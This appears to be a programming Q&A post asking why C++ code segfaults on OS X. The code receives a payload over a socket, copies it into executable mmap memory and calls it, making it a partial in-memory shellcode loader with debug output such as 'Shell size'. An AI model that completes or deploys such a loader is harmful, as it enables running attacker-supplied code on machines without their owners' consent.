title: Error when execute mmap memory on OS X -El Capitan-
body: <p>I'm writing a program to execute remote code on memory received by socket. I'm using mmap to generate a memory space and strncpy or memcpy to copy data to memory. After that i try to execute it and i always get an "Segmentation fault: 11". Here is the code:</p>
  
  <pre><code>#define DEFAULT_BUFLEN 1024
  #define PAGE_EXECUTE_READWRITE 1
  static const size_t SIZE = 1024;
  
  #include &lt;sys/mman.h&gt;
  #include &lt;sys/types.h&gt;
  long int iResult = 1;
  
  void error(const char *msg) {
  perror(msg);
  exit(1);
  }
  
  void execute(char *data) {
      void *addr;
      addr = mmap(0, SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, -1, 0);
      if (addr == MAP_FAILED)
          cout &lt;&lt; "MAP fail" &lt;&lt; endl;
      //strncpy((char *)addr, argv, sizeof(char)*sizeof(argv));
      memcpy(addr,data,sizeof(data));
     ((void (*)(void))addr)();
  }
  
  BOOL InMemoryRun(SOCKET ConnectSocketPE)
  {
      int recvbuflen = DEFAULT_BUFLEN;
      char recvbuf[DEFAULT_BUFLEN];
      cout &lt;&lt; "[*] Starting Download Process" &lt;&lt; endl;
      recv(ConnectSocketPE, recvbuf, 1024, 0);
      size_t a = atoi(recvbuf);
      cout &lt;&lt; "Shell size: " &lt;&lt; a &lt;&lt; endl;
      sleep(2);
      cout &lt;&lt; "[*] Receiving Data...";
  
      iResult = recv(ConnectSocketPE, recvbuf, recvbuflen, 0);
  
      cout &lt;&lt; "Done!"&lt;&lt;endl&lt;&lt;"[!] Starting exeutable..."&lt;&lt; endl;
      execute(recvbuf);
      return true;   
   }
  </code></pre>
  
  <p>Thanks in advance.</p>